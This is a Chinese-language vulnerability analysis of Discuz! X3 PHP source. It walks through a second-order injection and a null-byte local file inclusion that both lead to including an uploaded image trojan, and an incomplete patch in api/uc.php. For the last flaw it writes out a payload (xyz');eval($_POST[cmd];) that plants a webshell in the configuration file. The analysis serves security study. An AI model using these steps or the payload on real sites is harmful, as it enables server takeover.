案例二:二次注入
简单介绍一下二次注入,恶意用户alice在A处传入恶意数据并被存储到数据库,在A处不直接导致安全问题;B处引用到A处存储的数据,从而触发安全问题。
漏洞文件:X3\source\admincp\admincp_setting.php
分析:
// 1、alice上传一个图片木马假设为1.gif; alice设置$settingnew['seccodedata']['type']值为1.gif\0:xx(根据图片地址做适当目录跳转);该值未作任何过滤存入数据库
if($settingnew['seccodedata']['type'] == 0 || $settingnew['seccodedata']['type'] == 2) {
$seccoderoot = 'static/image/seccode/font/en/';
} elseif($settingnew['seccodedata']['type'] == 1) {
$seccoderoot = 'static/image/seccode/font/ch/';
}
漏洞文件:source\module\misc\misc_seccode.php
// 2、$_G['setting']['seccodedata']['type']值来自于数据库,即为1处传入的1.gif\0:xx
if(!is_numeric($_G['setting']['seccodedata']['type'])) {
$etype = explode(':', $_G['setting']['seccodedata']['type']);
if(count($etype) >1) {
// 3、 \0截断得到$codefile为图片小马(也可使用././././多个路径符方法截断)
$codefile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/seccode/seccode_'.$etype[1].'.php';
... 省略 ...
if(file_exists($codefile)) {
// 4、图片木马被include得到webshell
@include_once $codefile;
案例三:程序升级新增逻辑导致的漏洞
漏洞文件:X3\source\admincp\admincp_adv.php
// 1、alice上传一个图片木马假设为1.gif; alice传入type参数值为1.gif\0:xx(根据图片地址做适当目录跳转)
$type = $_GET['type'];
... ...
if($type) {
//2、得到$etype为1.gif\0
$etype = explode(':', $type);
if(count($etype) >1) {
//3、$advfile值被\0截断,为图片木马路径1.gif
$advfile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/adv/adv_'.$etype[1].'.php';
$advclass = 'adv_'.$etype[1];
}
... 省略 ...
//4、包含图片木马,得到webshell
if(file_exists($advfile)) {
require_once $advfile;
对比下X2.5版本的逻辑,此处漏洞完全是因为新增代码导致的。
$type = $_GET['type'];
$target = $_GET['target'];
$typeadd = '';
if($type) {
$advfile = libfile('adv/'.$type, 'class');
if(file_exists($advfile)) {
require_once $advfile;
案例四:漏洞修补不完善
漏洞文件:X3\api\uc.php
分析:
//1、config_ucenter.php内容部分截取如下:define('UC_API', 'http://localhost/bbs/uc_server');
$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));
... ...
//2、$UC_AP外部可控,alice传入$UC_API的值为xyz');eval($_POST[cmd];
得到$configfile值为define('UC_API', 'xyz\');eval($_POST[cmd];'); xyz后面的引号被转义。
$configfile=preg_replace("/define\('UC_API',\s*'.*?'\);/i",
"define('UC_API','".addslashes($UC_API)."');", $configfile);
//3、将define('UC_API', 'xyz\');eval($_POST[cmd];');写入配置文件
if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) {
@fwrite($fp, trim($configfile));
@fclose($fp);
}
//4、alice再次传入$UC_API的值为xyz,preg_replace使用的正则表达式是
define\('UC_API',\s*'.*?'\); .*?'非贪婪匹配,匹配到第一个引号结束,
之前的转义符被替换xyz\替换为xyz,从而得到$configfile值为
define('UC_API', 'xyz');eval($_POST[cmd];');写入配置文件得到webshell。
这个问题早在2010年外部已经公开,官方已及时发出补丁
详情请参考:http://www.oldjun.com/blog/index.php/archives/76/
(责任编辑:安博涛)